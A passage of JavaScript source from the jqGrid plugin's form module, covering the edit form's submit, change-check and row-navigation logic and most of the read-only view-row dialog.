if(ajaxOptions.data.oper === opers.addoper && rp_ge[$t.p.id].closeAfterAdd ) { $.jgrid.hideModal("#"+$.jgrid.jqID(IDs.themodal),{gb:"#gbox_"+$.jgrid.jqID(gID),jqm:p.jqModal, onClose: rp_ge[$t.p.id].onClose, removemodal: rp_ge[$t.p.id].removemodal, formprop: !rp_ge[$t.p.id].recreateForm, form: rp_ge[$t.p.id].form}); } if(ajaxOptions.data.oper === opers.editoper && rp_ge[$t.p.id].closeAfterEdit ) { $.jgrid.hideModal("#"+$.jgrid.jqID(IDs.themodal),{gb:"#gbox_"+$.jgrid.jqID(gID),jqm:p.jqModal, onClose: rp_ge[$t.p.id].onClose, removemodal: rp_ge[$t.p.id].removemodal, formprop: !rp_ge[$t.p.id].recreateForm, form: rp_ge[$t.p.id].form}); } } } else { if(ajaxOptions.url === "clientArray") { rp_ge[$t.p.id].reloadAfterSubmit = false; postdata = ajaxOptions.data; ajaxOptions.success(postdata,'',{status:200, statusText:''}); } else if(ajaxOptions.url === "storage"){ if(postdata[oper] === opers.addoper) { if(postdata[idname] === "_empty") { postdata[idname] = ""; } $($t).jqGrid('addStorageRecord', postdata) .then(function(e){ if(e.type==="complete") { ajaxOptions.success(postdata,'',{status:200, statusText:''}); } }) .catch(function(e) { $.jgrid.info_dialog("Error",e.target.error.name + " : "+e.target.error.message,'Close'); }); } else if(postdata[oper] === opers.editoper) { $($t).jqGrid('updateStorageRecord', postdata) .then(function(e){ if(e.type==="complete") { ajaxOptions.success(postdata,'',{status:200, statusText:''}); } }) .catch(function(e) { $.jgrid.info_dialog("Error",e.target.error.name + " : "+e.target.error.message,'Close'); }); } } else { $.ajax(ajaxOptions); } } } } if(ret[0] === false) { $(frmgr).scrollTop(0); $(".FormError",frmgr).html(ret[1]); $(".FormError",frmgr).show(); // return; } } function compareData(nObj, oObj ) { var ret = false,key; ret = !( $.isPlainObject(nObj) && $.isPlainObject(oObj) && Object.getOwnPropertyNames(nObj).length === Object.getOwnPropertyNames(oObj).length); if(!ret) { for (key in oObj) { if(oObj.hasOwnProperty(key) ) { if(nObj.hasOwnProperty(key) ) { if( nObj[key] !== oObj[key] ) { ret = true; break; } } else { ret = true; break; } } } } return ret; } function checkUpdates () { var stat = true; $(".FormError",frmgr).hide(); if(rp_ge[$t.p.id].checkOnUpdate) { postdata = {}; getFormData(); diff = compareData(postdata, $t.p.savedData); if(diff) { $(frmgr).data("disabled",true); $(".confirm","#"+IDs.themodal).show(); stat = false; } } return stat; } function restoreInline() { var i; if (rowid !== "_empty" && $t.p.savedRow !== undefined && $t.p.savedRow.length > 0 && $.jgrid.isFunction($.fn.jqGrid.restoreRow)) { for (i=0;i<$t.p.savedRow.length;i++) { if ($t.p.savedRow[i].id === rowid) { $($t).jqGrid('restoreRow',rowid); break; } } } } function updateNav(cr, posarr){ var totr = posarr[1].length-1; if (cr===0) { $("#pData",frmtb2).addClass( commonstyle.disabled ); } else if( posarr[1][cr-1] !== undefined && $("#"+$.jgrid.jqID(posarr[1][cr-1])).hasClass( commonstyle.disabled )) { $("#pData",frmtb2).addClass( commonstyle.disabled ); } else { $("#pData",frmtb2).removeClass( commonstyle.disabled ); } if (cr===totr) { $("#nData",frmtb2).addClass( commonstyle.disabled ); } else if( posarr[1][cr+1] !== undefined && $("#"+$.jgrid.jqID(posarr[1][cr+1])).hasClass( commonstyle.disabled )) { $("#nData",frmtb2).addClass( commonstyle.disabled ); } else { $("#nData",frmtb2).removeClass( commonstyle.disabled ); } } function getCurrPos() { var rowsInGrid = $($t).jqGrid("getDataIDs"), selrow = $("#id_g",frmtb).val(), pos; if($t.p.multiselect && rp_ge[$t.p.id].editselected) { var arr = []; for(var i=0, len = rowsInGrid.length;i<len;i++) { if($.inArray(rowsInGrid[i],$t.p.selarrrow) !== -1) { arr.push(rowsInGrid[i]); } } pos = $.inArray(selrow,arr); return [pos, arr]; } else { pos = $.inArray(selrow,rowsInGrid); } return [pos,rowsInGrid]; } function parseTemplate ( template ){ var tmpl =""; if(typeof template === "string") { tmpl = template.replace(/\{([\w\-]+)(?:\:([\w\.]*)(?:\((.*?)?\))?)?\}/g, function(m,i){ return '<span id="'+ i+ '" ></span>'; }); } return tmpl; } function syncSavedData () { if(rp_ge[$t.p.id].checkOnSubmit || rp_ge[$t.p.id].checkOnUpdate) { var a1=[], a2={}; a1 = $.map($t.p.savedData, function(v, i){ return i; }); $(".FormElement", frm ).each(function(){ if( $.jgrid.trim(this.name) !== "" && a1.indexOf(this.name) === -1 ) { var tv = $(this).val(), tt = $(this).get(0).type; if( tt === 'checkbox') { if(!$(this).is(":checked")) { tv = $(this).attr("offval"); } } else if(tt === 'select-multiple') { tv = tv.join(","); } else if(tt === 'radio') { if(a2.hasOwnProperty(this.name)) { return true; } else { a2[this.name] = ($(this).attr("offval") === undefined) ? "off" : $(this).attr("offval"); } } $t.p.savedData[this.name] = tv; } }); for(var i in a2 ) { if( a2.hasOwnProperty(i)) { var val = $('input[name="'+i+'"]:checked',frm).val(); $t.p.savedData[i] = (val !== undefined) ? val : a2[i]; } } } } var dh = isNaN(rp_ge[$(this)[0].p.id].dataheight) ? rp_ge[$(this)[0].p.id].dataheight : rp_ge[$(this)[0].p.id].dataheight+"px", dw = isNaN(rp_ge[$(this)[0].p.id].datawidth) ? rp_ge[$(this)[0].p.id].datawidth : rp_ge[$(this)[0].p.id].datawidth+"px", frm = $("<form name='FormPost' id='"+frmgr+"' class='FormGrid' onSubmit='return false;' style='width:"+dw+";height:"+dh+";'></form>").data("disabled",false), tbl; if(templ) { tbl = parseTemplate( rp_ge[$(this)[0].p.id].template ); frmtb2 = frmtb; } else { tbl = $("<table id='"+frmtborg+"' class='EditTable ui-common-table'><tbody></tbody></table>"); frmtb2 = frmtb+"_2"; } frmgr = "#"+ $.jgrid.jqID(frmgr); // errors $(frm).append("<div class='FormError " + commonstyle.error + "' style='display:none;'></div>" ); // topinfo $(frm).append("<div class='tinfo topinfo'>"+rp_ge[$t.p.id].topinfo+"</div>"); $($t.p.colModel).each( function() { var fmto = this.formoptions; maxCols = Math.max(maxCols, fmto ? fmto.colpos || 0 : 0 ); maxRows = Math.max(maxRows, fmto ? fmto.rowpos || 0 : 0 ); }); $(frm).append(tbl); showFrm = $($t).triggerHandler("jqGridAddEditBeforeInitData", [frm, frmoper]); if(showFrm === undefined) { showFrm = true; } if(showFrm && $.jgrid.isFunction(rp_ge[$t.p.id].beforeInitData)) { showFrm = rp_ge[$t.p.id].beforeInitData.call($t,frm, frmoper); } if(showFrm === false) {return;} restoreInline(); // set the id. // use carefull only to change here colproperties. // create data createData(rowid,$t,tbl,maxCols); // buttons at footer var rtlb = $t.p.direction === "rtl" ? true :false, bp = rtlb ? "nData" : "pData", bn = rtlb ? "pData" : "nData"; var bP = "<a id='"+bp+"' class='fm-button " + commonstyle.button + "'><span class='" + commonstyle.icon_base + " " + styles.icon_prev+ "'></span></a>", bN = "<a id='"+bn+"' class='fm-button " + commonstyle.button + "'><span class='" + commonstyle.icon_base + " " + styles.icon_next+ "'></span></a>", bS ="<a id='sData' class='fm-button " + commonstyle.button + "'>"+p.bSubmit+"</a>", bC ="<a id='cData' class='fm-button " + commonstyle.button + "'>"+p.bCancel+"</a>", user_buttons = ( Array.isArray( rp_ge[$t.p.id].buttons ) ? $.jgrid.buildButtons( rp_ge[$t.p.id].buttons, bS + bC, commonstyle ) : bS + bC ); var bt = "<table style='height:auto' class='EditTable ui-common-table' id='"+frmtborg+"_2'><tbody><tr><td colspan='2'><hr class='"+commonstyle.content+"' style='margin:1px'/></td></tr><tr id='Act_Buttons'><td class='navButton'>"+(rtlb ? bN+bP : bP+bN)+"</td><td class='EditButton'>"+ user_buttons +"</td></tr>"; //bt += "<tr style='display:none' class='binfo'><td class='bottominfo' colspan='2'>"+rp_ge[$t.p.id].bottominfo+"</td></tr>"; bt += "</tbody></table>"; if(maxRows > 0) { var sd=[]; $.each($(tbl)[0].rows,function(i,r){ sd[i] = r; }); sd.sort(function(a,b){ if(a.rp > b.rp) {return 1;} if(a.rp < b.rp) {return -1;} return 0; }); $.each(sd, function(index, row) { $('tbody',tbl).append(row); }); } p.gbox = "#gbox_"+$.jgrid.jqID(gID); var cle = false; if(p.closeOnEscape===true){ p.closeOnEscape = false; cle = true; } var tms; if(templ) { $(frm).find("#pData").replaceWith( bP ); $(frm).find("#nData").replaceWith( bN ); $(frm).find("#sData").replaceWith( bS ); $(frm).find("#cData").replaceWith( bC ); tms = $("<div id="+frmtborg+"></div>").append(frm); } else { tms = $("<div></div>").append(frm).append(bt); } $(frm).append("<div class='binfo topinfo bottominfo'>"+rp_ge[$t.p.id].bottominfo+"</div>"); var fs = $('.ui-jqgrid').css('font-size') || '11px'; $.jgrid.createModal(IDs, tms, rp_ge[$(this)[0].p.id], "#gview_"+$.jgrid.jqID($t.p.id), $("#gbox_"+$.jgrid.jqID($t.p.id))[0], null, {"font-size": fs}); if(rtlb) { $("#pData, #nData",frmtb+"_2").css("float","right"); $(".EditButton",frmtb+"_2").css("text-align","left"); } if(rp_ge[$t.p.id].topinfo) {$(".tinfo", frmgr).show();} if(rp_ge[$t.p.id].bottominfo) {$(".binfo",frmgr).show();} tms = null;bt=null; $("#"+$.jgrid.jqID(IDs.themodal)).keydown( function( e ) { var wkey = e.target; if ($(frmgr).data("disabled")===true ) {return false;}//?? if(rp_ge[$t.p.id].savekey[0] === true && e.which === rp_ge[$t.p.id].savekey[1]) { // save if(wkey.tagName !== "TEXTAREA") { $("#sData", frmtb+"_2").trigger("click"); return false; } } if(e.which === 27) { if(!checkUpdates()) {return false;} if(cle) {$.jgrid.hideModal("#"+$.jgrid.jqID(IDs.themodal),{gb:p.gbox,jqm:p.jqModal, onClose: rp_ge[$t.p.id].onClose, removemodal: rp_ge[$t.p.id].removemodal, formprop: !rp_ge[$t.p.id].recreateForm, form: rp_ge[$t.p.id].form});} return false; } if(rp_ge[$t.p.id].navkeys[0]===true) { if($("#id_g",frmtb).val() === "_empty") {return true;} if(e.which === rp_ge[$t.p.id].navkeys[1]){ //up $("#pData", frmtb2).trigger("click"); return false; } if(e.which === rp_ge[$t.p.id].navkeys[2]){ //down $("#nData", frmtb2).trigger("click"); return false; } } }); if(p.checkOnUpdate) { $("a.ui-jqdialog-titlebar-close span","#"+$.jgrid.jqID(IDs.themodal)).removeClass("jqmClose"); $("a.ui-jqdialog-titlebar-close","#"+$.jgrid.jqID(IDs.themodal)).off("click") .click(function(){ if(!checkUpdates()) {return false;} $.jgrid.hideModal("#"+$.jgrid.jqID(IDs.themodal),{gb:"#gbox_"+$.jgrid.jqID(gID),jqm:p.jqModal,onClose: rp_ge[$t.p.id].onClose, removemodal: rp_ge[$t.p.id].removemodal, formprop: !rp_ge[$t.p.id].recreateForm, form: rp_ge[$t.p.id].form}); return false; }); } p.saveicon = $.extend([true,"left", styles.icon_save ],p.saveicon); p.closeicon = $.extend([true,"left", styles.icon_close ],p.closeicon); // beforeinitdata after creation of the form if(p.saveicon[0]===true) { $("#sData",frmtb2).addClass(p.saveicon[1] === "right" ? 'fm-button-icon-right' : 'fm-button-icon-left') .append("<span class='"+commonstyle.icon_base + " " +p.saveicon[2]+"'></span>"); } if(p.closeicon[0]===true) { $("#cData",frmtb2).addClass(p.closeicon[1] === "right" ? 'fm-button-icon-right' : 'fm-button-icon-left') .append("<span class='" + commonstyle.icon_base +" "+p.closeicon[2]+"'></span>"); } if(rp_ge[$t.p.id].checkOnSubmit || rp_ge[$t.p.id].checkOnUpdate) { bS ="<a id='sNew' class='fm-button "+commonstyle.button + "' style='z-index:1002'>"+p.bYes+"</a>"; bN ="<a id='nNew' class='fm-button "+commonstyle.button + "' style='z-index:1002;margin-left:5px'>"+p.bNo+"</a>"; bC ="<a id='cNew' class='fm-button "+commonstyle.button + "' style='z-index:1002;margin-left:5px;'>"+p.bExit+"</a>"; var zI = p.zIndex || 999;zI ++; $("#"+IDs.themodal).append("<div class='"+ p.overlayClass+" jqgrid-overlay confirm' style='z-index:"+zI+";display:none;position:absolute;'> "+"</div><div class='confirm ui-jqconfirm "+commonstyle.content+"' style='z-index:"+(zI+1)+"'>"+p.saveData+"<br/><br/>"+bS+bN+bC+"</div>"); $("#sNew","#"+$.jgrid.jqID(IDs.themodal)).click(function(){ postIt(); $(frmgr).data("disabled",false); $(".confirm","#"+$.jgrid.jqID(IDs.themodal)).hide(); return false; }); $("#nNew","#"+$.jgrid.jqID(IDs.themodal)).click(function(){ $(".confirm","#"+$.jgrid.jqID(IDs.themodal)).hide(); $(frmgr).data("disabled",false); setTimeout(function(){$(":input:visible",frmgr)[0].focus();},0); return false; }); $("#cNew","#"+$.jgrid.jqID(IDs.themodal)).click(function(){ $(".confirm","#"+$.jgrid.jqID(IDs.themodal)).hide(); $(frmgr).data("disabled",false); $.jgrid.hideModal("#"+$.jgrid.jqID(IDs.themodal),{gb:"#gbox_"+$.jgrid.jqID(gID),jqm:p.jqModal,onClose: rp_ge[$t.p.id].onClose, removemodal: rp_ge[$t.p.id].removemodal, formprop: !rp_ge[$t.p.id].recreateForm, form: rp_ge[$t.p.id].form}); return false; }); } // here initform $($t).triggerHandler("jqGridAddEditInitializeForm", [$(frmgr), frmoper]); if($.jgrid.isFunction(rp_ge[$t.p.id].onInitializeForm)) { rp_ge[$t.p.id].onInitializeForm.call($t,$(frmgr), frmoper);} if(rowid==="_empty" || !rp_ge[$t.p.id].viewPagerButtons) {$("#pData,#nData",frmtb2).hide();} else {$("#pData,#nData",frmtb2).show();} $($t).triggerHandler("jqGridAddEditBeforeShowForm", [$(frmgr), frmoper]); if($.jgrid.isFunction(rp_ge[$t.p.id].beforeShowForm)) { rp_ge[$t.p.id].beforeShowForm.call($t, $(frmgr), frmoper);} syncSavedData(); $("#"+$.jgrid.jqID(IDs.themodal)).data("onClose",rp_ge[$t.p.id].onClose); $.jgrid.viewModal("#"+$.jgrid.jqID(IDs.themodal),{ gbox:"#gbox_"+$.jgrid.jqID(gID), jqm:p.jqModal, overlay: p.overlay, modal:p.modal, overlayClass: p.overlayClass, focusField : p.focusField, onHide : function(h) { var fw = $('#editmod'+gID)[0].style.width , //rtlsup = $("#gbox_"+$.jgrid.jqID(gID)).attr("dir") === "rtl" ? true : false, mdh = $('#editmod'+gID)[0].style.height; mdh = ['100%','auto'].includes(mdh) ? mdh : $.jgrid.floatNum(mdh, 200); fw = ['100%','auto'].includes(fw) ? fw : $.jgrid.floatNum(fw, 300); $($t).data("formProp", { top: $.jgrid.floatNum($(h.w).css("top")), left : parseFloat($(h.w).css("left")), width : fw, height : mdh , dataheight : $(frmgr).height(), datawidth: $(frmgr).width() }); h.w.remove(); if(h.o) {h.o.remove();} } }); if(!closeovrl) { $("." + $.jgrid.jqID(p.overlayClass)).click(function(){ if(!checkUpdates()) {return false;} $.jgrid.hideModal("#"+$.jgrid.jqID(IDs.themodal),{gb:"#gbox_"+$.jgrid.jqID(gID),jqm:p.jqModal, onClose: rp_ge[$t.p.id].onClose, removemodal: rp_ge[$t.p.id].removemodal, formprop: !rp_ge[$t.p.id].recreateForm, form: rp_ge[$t.p.id].form}); return false; }); } $(".fm-button","#"+$.jgrid.jqID(IDs.themodal)).hover( function(){$(this).addClass( commonstyle.hover );}, function(){$(this).removeClass( commonstyle.hover );} ); $("#sData", frmtb2).click(function(){ postdata = {}; $(".FormError",frmgr).hide(); // all depend on ret array //ret[0] - succes //ret[1] - msg if not succes //ret[2] - the id that will be set if reload after submit false getFormData(); if(postdata[$t.p.id+"_id"] === "_empty") { postIt(); } else if(p.checkOnSubmit===true ) { diff = compareData(postdata, $t.p.savedData); if(diff) { $(frmgr).data("disabled",true); $(".confirm","#"+$.jgrid.jqID(IDs.themodal)).show(); } else { postIt(); } } else { postIt(); } return false; }); $("#cData", frmtb2).click(function(){ if(!checkUpdates()) {return false;} $.jgrid.hideModal("#"+$.jgrid.jqID(IDs.themodal),{gb:"#gbox_"+$.jgrid.jqID(gID),jqm:p.jqModal,onClose: rp_ge[$t.p.id].onClose, removemodal: rp_ge[$t.p.id].removemodal, formprop: !rp_ge[$t.p.id].recreateForm, form: rp_ge[$t.p.id].form}); return false; }); // user buttons bind $(frmtb2).find("[data-index]").each(function(){ var index = parseInt($(this).attr('data-index'),10); if(index >=0 ) { if( p.buttons[index].hasOwnProperty('click')) { $(this).on('click', function(e) { p.buttons[index].click.call($t, $(frmgr)[0], rp_ge[$t.p.id], e); }); } } }); $("#nData", frmtb2).click(function(){ if(!checkUpdates()) {return false;} $(".FormError",frmgr).hide(); var npos = getCurrPos(); npos[0] = parseInt(npos[0],10); if(npos[0] !== -1 && npos[1][npos[0]+1]) { $($t).triggerHandler("jqGridAddEditClickPgButtons", ['next',$(frmgr),npos[1][npos[0]]]); var nposret; if($.jgrid.isFunction(p.onclickPgButtons)) { nposret = p.onclickPgButtons.call($t, 'next',$(frmgr),npos[1][npos[0]]); if( nposret !== undefined && nposret === false ) {return false;} } if( $("#"+$.jgrid.jqID(npos[1][npos[0]+1])).hasClass( commonstyle.disabled )) {return false;} fillData(npos[1][npos[0]+1],$t,frmgr); if(!($t.p.multiselect && rp_ge[$t.p.id].editselected)) { $($t).jqGrid("setSelection",npos[1][npos[0]+1]); } $($t).triggerHandler("jqGridAddEditAfterClickPgButtons", ['next',$(frmgr),npos[1][npos[0]]]); if($.jgrid.isFunction(p.afterclickPgButtons)) { p.afterclickPgButtons.call($t, 'next',$(frmgr),npos[1][npos[0]+1]); } syncSavedData(); updateNav(npos[0]+1,npos); } return false; }); $("#pData", frmtb2).click(function(){ if(!checkUpdates()) {return false;} $(".FormError",frmgr).hide(); var ppos = getCurrPos(); if(ppos[0] !== -1 && ppos[1][ppos[0]-1]) { $($t).triggerHandler("jqGridAddEditClickPgButtons", ['prev',$(frmgr),ppos[1][ppos[0]]]); var pposret; if($.jgrid.isFunction(p.onclickPgButtons)) { pposret = p.onclickPgButtons.call($t, 'prev',$(frmgr),ppos[1][ppos[0]]); if( pposret !== undefined && pposret === false ) {return false;} } if( $("#"+$.jgrid.jqID(ppos[1][ppos[0]-1])).hasClass( commonstyle.disabled )) {return false;} fillData(ppos[1][ppos[0]-1],$t,frmgr); if(!($t.p.multiselect && rp_ge[$t.p.id].editselected)) { $($t).jqGrid("setSelection",ppos[1][ppos[0]-1]); } $($t).triggerHandler("jqGridAddEditAfterClickPgButtons", ['prev',$(frmgr),ppos[1][ppos[0]]]); if($.jgrid.isFunction(p.afterclickPgButtons)) { p.afterclickPgButtons.call($t, 'prev',$(frmgr),ppos[1][ppos[0]-1]); } syncSavedData(); updateNav(ppos[0]-1,ppos); } return false; }); $($t).triggerHandler("jqGridAddEditAfterShowForm", [$(frmgr), frmoper]); if($.jgrid.isFunction(rp_ge[$t.p.id].afterShowForm)) { rp_ge[$t.p.id].afterShowForm.call($t, $(frmgr), frmoper); } var posInit =getCurrPos(); updateNav(posInit[0],posInit); this.refreshEditForm = function( rid, force ) { if ( force === undefined) { force = false; } if( force || rowid === rid) { fillData(rid, this, frmgr); } if(force) { rowid = rid; } }; }); }, viewGridRow : function(rowid, p){ var regional = $.jgrid.getRegional(this[0], 'view'), currstyle = this[0].p.styleUI, styles = $.jgrid.styleUI[currstyle].formedit, commonstyle = $.jgrid.styleUI[currstyle].common; p = $.extend(true, { top : 0, left: 0, width: 500, datawidth: 'auto', height: 'auto', dataheight: 'auto', modal: false, overlay: 30, drag: true, resize: true, jqModal: true, closeOnEscape : false, labelswidth: 'auto', closeicon: [], navkeys: [false,38,40], onClose: null, beforeShowForm : null, beforeInitData : null, viewPagerButtons : true, recreateForm : false, removemodal: true, form: 'view', buttons : [] }, regional, p || {}); rp_ge[$(this)[0].p.id] = p; return this.each(function(){ var $t = this; if (!$t.grid || !rowid) {return;} var gID = $t.p.id, frmgr = "ViewGrid_"+$.jgrid.jqID( gID ), frmtb = "ViewTbl_" + $.jgrid.jqID( gID ), frmgr_id = "ViewGrid_"+gID, frmtb_id = "ViewTbl_"+gID, IDs = {themodal:'viewmod'+gID,modalhead:'viewhd'+gID,modalcontent:'viewcnt'+gID, scrollelm : frmgr}, showFrm = true, maxCols = 1, maxRows=0; rp_ge[$t.p.id].styleUI = $t.p.styleUI || 'jQueryUI'; if(!p.recreateForm) { if( $($t).data("viewProp") ) { $.extend(rp_ge[$(this)[0].p.id], $($t).data("viewProp")); } } function focusaref(){ //Sfari 3 issues if(rp_ge[$t.p.id].closeOnEscape===true || rp_ge[$t.p.id].navkeys[0]===true) { setTimeout(function(){$(".ui-jqdialog-titlebar-close","#"+$.jgrid.jqID(IDs.modalhead)).attr("tabindex", "-1").focus();},0); } } function createData(rowid,obj,tb,maxcols){ var nm, hc,trdata, cnt=0,tmp, dc, retpos=[], ind=false, i, tdtmpl = "<td class='CaptionTD form-view-label " + commonstyle.content + "' width='"+p.labelswidth+"'></td><td class='DataTD form-view-data ui-helper-reset " + commonstyle.content +"'></td>", tmpl="", tdtmpl2 = "<td class='CaptionTD form-view-label " + commonstyle.content +"'></td><td class='DataTD form-view-data " + commonstyle.content +"'></td>", fmtnum = ['integer','number','currency'],max1 =0, max2=0 ,maxw,setme, viewfld; for (i=1;i<=maxcols;i++) { tmpl += i === 1 ? tdtmpl : tdtmpl2; } // find max number align rigth with property formatter $(obj.p.colModel).each( function() { if(this.editrules && this.editrules.edithidden === true) { hc = false; } else { hc = this.hidden === true ? true : false; } if(!hc && this.align==='right') { if(this.formatter && $.inArray(this.formatter,fmtnum) !== -1 ) { max1 = Math.max(max1,parseInt(this.width,10)); } else { max2 = Math.max(max2,parseInt(this.width,10)); } } }); maxw = max1 !==0 ? max1 : max2 !==0 ? max2 : 0; ind = $(obj).jqGrid("getInd",rowid); $(obj.p.colModel).each( function(i) { nm = this.name; setme = false; // hidden fields are included in the form if(this.editrules && this.editrules.edithidden === true) { hc = false; } else { hc = this.hidden === true ? true : false; } dc = hc ? "style='display:none'" : ""; viewfld = (typeof this.viewable !== 'boolean') ? true : this.viewable; if ( nm !== 'cb' && nm !== 'subgrid' && nm !== 'rn' && viewfld && nm !== 'sc') { if(ind === false) { tmp = ""; } else { if(nm === obj.p.ExpandColumn && obj.p.treeGrid === true) { tmp = $("td",obj.rows[ind]).eq( i ).text(); } else { tmp = $("td",obj.rows[ind]).eq( i ).html(); } } setme = this.align === 'right' && maxw !==0 ? true : false; var frmopt = $.extend({},{rowabove:false,rowcontent:''}, this.formoptions || {}), rp = parseInt(frmopt.rowpos,10) || cnt+1, cp = parseInt((parseInt(frmopt.colpos,10) || 1)*2,10); if(frmopt.rowabove) { var newdata = $("<tr><td class='contentinfo' colspan='"+(maxcols*2)+"'>"+frmopt.rowcontent+"</td></tr>"); $(tb).append(newdata); newdata[0].rp = rp; } trdata = $(tb).find("tr[rowpos="+rp+"]"); if ( trdata.length===0 ) { trdata = $("<tr "+dc+" rowpos='"+rp+"'></tr>").addClass("FormData").attr("id","trv_"+nm); $(trdata).append(tmpl); $(tb).append(trdata); trdata[0].rp = rp; } $("td",trdata[0]).eq( cp-2 ).html('<b>'+ (frmopt.label === undefined ? obj.p.colNames[i]: frmopt.label)+'</b>'); $("td",trdata[0]).eq( cp-1 ).append("<span>"+tmp+"</span>").attr("id","v_"+nm); if(setme){ $("td",trdata[0]).eq( cp-1 ).find('span').css({ 'text-align':'right',width:maxw+"px" }); } retpos[cnt] = i; cnt++; } }); if( cnt > 0) { var idrow = $("<tr class='FormData' style='display:none'><td class='CaptionTD'></td><td colspan='"+ (maxcols*2-1)+"' class='DataTD'><input class='FormElement' id='id_g' type='text' name='id' value='"+rowid+"'/></td></tr>"); idrow[0].rp = cnt+99; $(tb).append(idrow); } return retpos; } function fillData(rowid,obj){ var nm, hc,cnt=0,tmp,trv; trv = $(obj).jqGrid("getInd",rowid,true); if(!trv) {return;} $('td',trv).each( function(i) { nm = obj.p.colModel[i].name; // hidden fields are included in the form if(obj.p.colModel[i].editrules && obj.p.colModel[i].editrules.edithidden === true) { hc = false; } else { hc = obj.p.colModel[i].hidden === true ? true : false; } if ( nm !== 'cb' && nm !== 'subgrid' && nm !== 'rn' && nm !== 'sc') { if(nm === obj.p.ExpandColumn && obj.p.treeGrid === true) { tmp = $(this).text(); } else { tmp = $(this).html(); } nm = $.jgrid.jqID("v_"+nm); $("#"+nm+" span","#"+frmtb).html(tmp); if (hc) {$("#"+nm,"#"+frmtb).parents("tr").first().hide();} cnt++; } }); if(cnt>0) {$("#id_g","#"+frmtb).val(rowid);} } function updateNav(cr,posarr){ var totr = posarr[1].length-1; if (cr===0) { $("#pData","#"+frmtb+"_2").addClass( commonstyle.disabled ); } else if( posarr[1][cr-1] !== undefined && $("#"+$.jgrid.jqID(posarr[1][cr-1])).hasClass(commonstyle.disabled)) { $("#pData",frmtb+"_2").addClass( commonstyle.disabled ); } else { $("#pData","#"+frmtb+"_2").removeClass( commonstyle.disabled ); } if (cr===totr) { $("#nData","#"+frmtb+"_2").addClass( commonstyle.disabled ); } else if( posarr[1][cr+1] !== undefined && $("#"+$.jgrid.jqID(posarr[1][cr+1])).hasClass( commonstyle.disabled )) { $("#nData",frmtb+"_2").addClass( commonstyle.disabled ); } else { $("#nData","#"+frmtb+"_2").removeClass( commonstyle.disabled ); } } function getCurrPos() { var rowsInGrid = $($t).jqGrid("getDataIDs"), selrow = $("#id_g","#"+frmtb).val(), pos; if($t.p.multiselect && rp_ge[$t.p.id].viewselected) { var arr = []; for(var i=0, len = rowsInGrid.length;i<len;i++) { if($.inArray(rowsInGrid[i],$t.p.selarrrow) !== -1) { arr.push(rowsInGrid[i]); } } pos = $.inArray(selrow,arr); return [pos, arr]; } else { pos = $.inArray(selrow,rowsInGrid); } return [pos,rowsInGrid]; } var dh = isNaN(rp_ge[$(this)[0].p.id].dataheight) ? rp_ge[$(this)[0].p.id].dataheight : rp_ge[$(this)[0].p.id].dataheight+"px", dw = isNaN(rp_ge[$(this)[0].p.id].datawidth) ? rp_ge[$(this)[0].p.id].datawidth : rp_ge[$(this)[0].p.id].datawidth+"px", frm = $("<form name='FormPost' id='"+frmgr_id+"' class='FormGrid' style='width:"+dw+";height:"+dh+";'></form>"), tbl =$("<table id='"+frmtb_id+"' class='EditTable ViewTable'><tbody></tbody></table>"); $($t.p.colModel).each( function() { var fmto = this.formoptions; maxCols = Math.max(maxCols, fmto ? fmto.colpos || 0 : 0 ); maxRows = Math.max(maxRows, fmto ? fmto.rowpos || 0 : 0 ); }); // set the id. $(frm).append(tbl); showFrm = $($t).triggerHandler("jqGridViewRowBeforeInitData", [frm]); if(showFrm === undefined) { showFrm = true; } if(showFrm && $.jgrid.isFunction(rp_ge[$t.p.id].beforeInitData)) { showFrm = rp_ge[$t.p.id].beforeInitData.call($t, frm); } if(showFrm === false) {return;} createData(rowid, $t, tbl, maxCols); var rtlb = $t.p.direction === "rtl" ? true :false, bp = rtlb ? "nData" : "pData", bn = rtlb ? "pData" : "nData", // buttons at footer bP = "<a id='"+bp+"' class='fm-button " + commonstyle.button + "'><span class='" + commonstyle.icon_base + " " + styles.icon_prev+ "'></span></a>", bN = "<a id='"+bn+"' class='fm-button " + commonstyle.button + "'><span class='" + commonstyle.icon_base + " " + styles.icon_next+ "'></span></a>", bC ="<a id='cData' class='fm-button " + commonstyle.button + "'>"+p.bClose+"</a>", user_buttons = ( Array.isArray( rp_ge[$t.p.id].buttons ) ? $.jgrid.buildButtons( rp_ge[$t.p.id].buttons, bC, commonstyle ) : bC ); if(maxRows > 0) { var sd=[]; $.each($(tbl)[0].rows,function(i,r){ sd[i] = r; }); sd.sort(function(a,b){ if(a.rp > b.rp) {return 1;} if(a.rp < b.rp) {return -1;} return 0; }); $.each(sd, function(index, row) { $('tbody',tbl).append(row); }); } p.gbox = "#gbox_"+$.jgrid.jqID(gID); var bt = $("<div></div>").append(frm).append("<table border='0' class='EditTable' id='"+frmtb+"_2'><tbody><tr id='Act_Buttons'><td class='navButton' width='"+p.labelswidth+"'>"+(rtlb ? bN+bP : bP+bN)+"</td><td class='EditButton'>"+ user_buttons+"</td></tr></tbody></table>"), fs = $('.ui-jqgrid').css('font-size') || '11px'; $.jgrid.createModal(IDs,bt, rp_ge[$(this)[0].p.id],"#gview_"+$.jgrid.jqID($t.p.id),$("#gview_"+$.jgrid.jqID($t.p.id))[0], null, {"font-size":fs}); if(rtlb) { $("#pData, #nData","#"+frmtb+"_2").css("float","right"); $(".EditButton","#"+frmtb+"_2").css("text-align","left"); } if(!p.viewPagerButtons) {$("#pData, #nData","#"+frmtb+"_2").hide();} bt = null; $("#"+IDs.themodal).keydown( function( e ) { if(e.which === 27) { if(rp_ge[$t.p.id].closeOnEscape) {$.jgrid.hideModal("#"+$.jgrid.jqID(IDs.themodal),{gb:p.gbox,jqm:p.jqModal, onClose: p.onClose, removemodal: rp_ge[$t.p.id].removemodal, formprop: !rp_ge[$t.p.id].recreateForm, form: rp_ge[$t.p.id].form});} return false; } if(p.navkeys[0]===true) { if(e.which === p.navkeys[1]){ //up $("#pData", "#"+frmtb+"_2").trigger("click"); return false; } if(e.which === p.navkeys[2]){ //down $("#nData", "#"+frmtb+"_2").trigger("click"); return false; } } }); p.closeicon = $.extend([true,"left", styles.icon_close ],p.closeicon); if(p.closeicon[0]===true) { $("#cData","#"+frmtb+"_2").addClass(p.closeicon[1] === "right" ? 'fm-button-icon-right' : 'fm-button-icon-left') .append("<span class='" + commonstyle.icon_base+ " " +p.closeicon[2]+"'></span>"); } $($t).triggerHandler("jqGridViewRowBeforeShowForm", [$("#"+frmgr)]); if($.jgrid.isFunction(p.beforeShowForm)) {p.beforeShowForm.call($t,$("#"+frmgr));} $.jgrid.viewModal("#"+$.jgrid.jqID(IDs.themodal),{ 